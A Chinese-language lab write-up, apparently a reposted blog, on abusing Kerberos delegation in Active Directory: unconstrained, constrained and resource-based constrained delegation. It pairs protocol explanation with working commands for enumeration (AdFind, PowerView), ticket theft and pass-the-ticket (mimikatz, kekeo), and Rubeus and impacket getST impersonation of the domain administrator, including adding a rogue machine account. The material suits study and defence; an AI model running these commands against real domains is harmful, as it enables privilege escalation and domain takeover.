就是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。
在域中一般只有主机账号
和服务账号
才具有委派属性
域委派一般分为:非约束委派(Unconstrained delegation) 和 约束委派(Constrained delegation)
一个用户可以访问SPN指定的Server A、Server B服务,用户请求Server A成功后,A会在验证ST(Server Ticket)的时候获取TGT,并存在内存中。假如我们获得了Server A的权限,我们就可以模拟用户身份去请求Server B了。
整体的流程也就是:
一共16步
KRB_AS_REQ
消息向KDC进行身份验证,并请求可转发的TGTKRB_TGS_REQ
KRB_TGS_REQ
KRB_AP_REQ
向Server 1发送请求,提供:ST,TGT,Session KeyKRB_TGS_REQ
中发送到KDC,以用户的名义请求到Server 2的ticketKRB_TGS_REP
KBR_AP_REQ
后面其实就无所谓了
微软意识到非约束委派不安全后,就产生了约束委派,增加了一组一些拓展:S4U2SLEF
和S4U2PROXY
。配置它后,约束委派将限制指定服务器可以代表用户执行的服务。需要SeEnableDelegation
,一般在域管身上
S4U2self:使得Server可以代表用户获得针对服务自身的ST。这使得服务可以获得用户的授权(可转发的用户ST
票据),然后将其用于后期的认证(主要是后期的s4u2proxy),这是为了在用户以不使用 Kerberos 的方式对服务进行身份验证的情况下使用(在其 userAccountControl
设置了TRUSTED_TO_AUTH_FOR_DELEGATION
字段时)
s4u2proxy: 使得Server 1可以使用来自用户的授权( 在S4U2SELF阶段获得),然后用该获得的ST
(放在AddtionTicket里面)向KDC请求访问Server 2的ST
,并且代表用户访问Server 2,而且只能访问Server 2(所以相较于非约束委派,约束委派最大的区别也就是配置的时候选择某个特定的服务,而不是所有服务。)
简单总结:S4U2self:检查合法性;S4U2Proxy:不允许请求其他Server
但是好像有很多被误解的特性.. 可以查看
https://www.cnblogs.com/backlion/p/10537813.html
整体流程也就是:
我对约束委派的理解是:假冒其他用户准确的访问那个服务(也就是委派那里配置的),设置委派的那个账户 可对受害服务访问(假冒了administrator),生成st,最后导入st获得访问对应服务的权限。将主要是SPN 设置为 msds-allowedtodelegateto 的机器或用户帐户可以假冒成任何他们希望成为的目标服务 SPN 。因此,如果你能够拿到其中一个帐户的权限,就可以欺骗对目标 SPN 的特权访问。
RBCD
这种约束委派的风格与传统约束委派非常相似,但配置相反。从帐户A到帐户B的传统约束委派在msDS-AllowedToDelegateTo
属性中的帐户A上配置,并定义从A到B的“传出”信任;但基于资源的约束委派是在B中配置添加A;不需要SeEnableDelegation
特权(一般只有域管有)
创建SPN
Setspn -s http/IIS-2008.muxue.com muxue\iis
Setspn -s http/IIS-2008.muxue.com IIS-2008$
信任此用户作为任何服务的委派
userAccountControl
属性会包含TRUSTED_FOR_DELEGATION
userAccountControl
属性包含TRUSTED_TO_AUTH_FOR_DELEGATION
,且msDS-AllowedToDelegateTo
属性会包含被约束的服务非约束性委派
约束性委派
一般用ADFind和powerview
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
https://www.joeware.net/freetools/tools/adfind/
探测用户
AdFind.exe -b "DC=muxue,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
探测主机
AdFind.exe -b "DC=muxue,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
探测用户
Get-NetUser -Unconstrained -Domain qiyou.com |select name
探测主机
Get-NetComputer -Unconstrained -Domain muxue.com
探测用户
AdFind.exe -b "DC=muxue,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
寻找配置了约束委派的用户
Import-Module .\powerview.ps1;
Get-DomainUser -TrustedToAuth -Domain muxue.com | select name
DC:Windows Server 2012
Domain Computer:Windows Server 2009
域管:administrator
域用户:muxue
没有权限
请求的目标需要开启服务 我这里测试的是 要不然会
获取域管TGT
Enter-PSSession -ComputerName IIS-2008
查看TGT
导出TGT
mimikatz "privilege::debug" "sekurlsa::tickets /export" "exit"
导入票据
新开个cmd导入票据;也可以利用打印机服务(SpoolSample,Rubeus)攻击
先修改成约束委派
rubeus.exe tgtdeleg
Rubeus.exe s4u /ticket:code /impersonateuser:administrator /domain:muxue.com /msdsspn:cifs/iis-2008.muxue.com /dc:dc.muxue.com /ptt
上面那款工具可以,接着用的是kekeo,还有impacket的getST
tgt::ask /user:iis /domain:muxue.com /password:xxxx
tgs::s4u /tgt:上面生成的那个票据的名字 /user:administrator@muxue.com /service:cifs/dc.muxue.com
// 然后使用mimikatz进行ptt
mimikatz "kerberos::purge" "kerberos::ptt 有个带cifs的那个tgs(st2)" "exit"
但是我不晓得多少分钟后就失效了,听安牛说是10-15分钟,但是我在下面用getst的时候 半小时的票据还可以用..; 很迷这个问题 我也不知道为啥
还有impacket的
先申请ST
python3 getST.py -spn cifs/dc.muxue.com/ 'muxue/iis:Web123456!' -impersonate Administrator -dc-ip 10.10.0.100
然后需要转换st
https://github.com/Zer1t0/ticket_converter
直接mimikatz
只要有写入ace权限就可以,为啥很多人拿加域账号打 就是因为有写入权限
所以我们可以设置msDS-AllowedToActOnBehalfOfOtherIdentity
来打基于资源的约束委派等**
有*GenericAll/GenericWrite/WriteDacl/WriteProperty/
一种权限就可以实现约束委派,由于都是设置属性值,这里我就直接用加域用户(有写入权限
)来测试了
addUser qwer123!
查看谁对他有写入权限
Get-ObjectAcl -SamAccountName win7 -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*write*"}
当然也可以寻找加域账号
尝试和win7
建立ipc链接,可以建立 但没有权限
我们需要添加一个机器用户,因为需要用机器用户去申请票据,本身的win7机器账户我们不知道他的密码所以无法申请票据,所以我们需要添加一个机器用户,用来帮助我们申请票据
检查 msds-allowedtoactonbehalfofotheridentity
的值
Get-NetComputer win7 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity
然后增加机器用户
成功使用addUser
用户创建evilpc
因为是addUser用户把win7加入到域中,所以拥有写权限 创造了一个属性是msDS-AllowedToActOnBehalfOfOtherIdentity
值为evilpc
的object-id
然后我们就可以去生成票据了,正好今天rebeus 2.0
出来了,刚编译好 就用它来生成票据了
Rubeus.exe hash /user:evilpc /password:123456 /domain:muxue.com // 获取hash
Rubeus.exe s4u /user:evilpc /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:administrator /msdsspn:cifs/win7.muxue.com /ptt // 申请票据并导入
当然也可以用impacket
的getST
来获取票据,然后利用mimikatz
来Pass The Ticket
手机扫一扫
移动阅读更方便
你可能感兴趣的文章